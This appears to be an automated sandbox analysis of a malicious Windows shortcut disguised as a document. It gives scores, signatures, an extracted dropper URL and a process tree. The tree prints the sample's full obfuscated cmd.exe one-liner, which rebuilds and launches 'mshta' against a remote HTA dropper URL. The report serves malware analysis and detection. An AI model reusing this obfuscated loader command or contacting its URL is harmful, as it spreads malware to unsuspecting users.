Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-AVX98D.lnk
  • Size 2KB
  • Sample260804-kacqhsar5v
  • SHA256 5bd1096f1e2017756bdf60cb1b42e1aaff18e8d6a0f28062d6751d4ca3090f2d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-AVX98D.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4368
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set OyZQc=bakpawncnkzuwbwqzabak&set NMGmf=cfggspbovbuicfg&set jRYf=winnkxhmqjdgcpgwin&set SMHKg=infvmtshrvuxzraduinf&set ans=cfgtdszxztastrniyetcfg&set vPoRd=cachelphxawptyzprrncache&set wmjC=winslqvccxphtwin&set BIzu=logzlgmatnujlog&set pOjl=ea6swag&&set EVXlt=wtwj&&set ANMkd=2narto&set RB=oldkwpxpgqrgcsqrlrold&set yZdI=eipmsyx1&&set WJ=iovhtat&set vD=cfggluludyhqmkcfg&&set isdDp=htt@ps@:@//@ma@-@pd@ff@i@l@ler.@l@a@t@/h/es@[email protected]@?r=@39@146@9F@B5D82D@B&&start /b !yZdI:~3,2!!WJ:~3,3! !isdDp:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5940

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads